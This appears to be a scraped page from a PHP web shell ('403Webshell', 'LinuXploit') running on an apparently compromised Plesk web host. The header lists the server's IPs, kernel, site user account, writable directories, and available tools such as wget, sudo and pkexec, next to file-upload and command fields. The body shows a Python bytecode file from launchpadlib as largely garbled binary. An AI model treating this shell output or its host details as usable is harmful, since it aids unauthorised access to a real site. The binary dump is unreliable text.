403Webshell
Server IP : 104.21.4.30  /  Your IP : 104.23.197.109
Web Server : Apache
System : Linux keen-cori.18-142-40-148.plesk.page 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 06:59:36 UTC 2025 x86_64
User : simottodesign.com_2tntp341vs7 ( 10011)
PHP Version : 8.3.31
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/launchpadlib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/launchpadlib/__pycache__/uris.cpython-38.pyc
U

�]�\��	@s�dZeZdddgZzddlmZWn ek
rBddlmZYnXddlZddlm	Z	dZ
d	Zd
ZdZ
dZd
ZdZdZdZdZdZdZdZdZee
e
eeee
ed�Zeeeeeeeed�Zdd�Zdd�Zdd�Zdd�ZdS)z�Launchpad-specific URIs and convenience lookup functions.

The code in this module lets users say "staging" when they mean
"https://api.staging.launchpad.net/".
�lookup_service_root�lookup_web_root�web_root_for_service_root�)�urlparseN)�URIzhttps://api.launchpad.net/z$https://api.qastaging.launchpad.net/z"https://api.staging.launchpad.net/zhttps://api.launchpad.test/zhttps://api.dogfood.paddev.net/zhttp://api.launchpad.test:8085/zhttps://launchpad.net/z https://qastaging.launchpad.net/zhttps://staging.launchpad.net/zhttps://launchpad.test/zhttps://dogfood.paddev.net/zhttp://launchpad.test:8085/zhttps://api.edge.launchpad.net/zhttps://edge.launchpad.net/)Z
production�edgeZ	qastagingZstagingZdogfoodZdevZtest_devcCs\|dkrt�dt�||kr$||St|�\}}}}}}|dkrL|dkrL|Std|��dS)z3Dereference what might a URL or an alias for a URL.rzCLaunchpad edge server no longer exists. Using 'production' instead.�z:%s is not a valid URL or an alias for any Launchpad serverN)�warnings�warn�DeprecationWarningr�
ValueError)�root�aliasesZschemeZnetloc�pathZ
parametersZqueryZfragment�r�3/usr/lib/python3/dist-packages/launchpadlib/uris.py�_dereference_aliasOs��rcCs|tkrd}t|t�S)z�Dereference an alias to a service root.

    A recognized server alias such as "staging" gets turned into the
    appropriate URI. A URI gets returned as is. Any other string raises a
    ValueError.
    r)�EDGE_SERVICE_ROOTr�
service_roots)�service_rootrrrrascCs|tkrd}t|t�S)z�Dereference an alias to a website root.

    A recognized server alias such as "staging" gets turned into the
    appropriate URI. A URI gets returned as is. Any other string raises a
    ValueError.
    r)�
EDGE_WEB_ROOTr�	web_roots)�web_rootrrrrnscCs8t|�}t|�}d|_|j�ddd�|_t|���}|S)zeTurn a service root URL into a web root URL.

    This is done heuristically, not with a lookup.
    rzapi.�)rrrZhost�replace�strZensureSlash)rZweb_root_urirrrrr{s)�__doc__�typeZ
__metaclass__�__all__Zurllib.parser�ImportErrorr	Zlazr.urirZLPNET_SERVICE_ROOTZQASTAGING_SERVICE_ROOTZSTAGING_SERVICE_ROOTZDEV_SERVICE_ROOTZDOGFOOD_SERVICE_ROOTZTEST_DEV_SERVICE_ROOTZLPNET_WEB_ROOTZQASTAGING_WEB_ROOTZSTAGING_WEB_ROOTZDEV_WEB_ROOTZDOGFOOD_WEB_ROOTZTEST_DEV_WEB_ROOTrr�dictrrrrrrrrrr�<module>s^���


Youez - 2016 - github.com/yon3zu
LinuXploit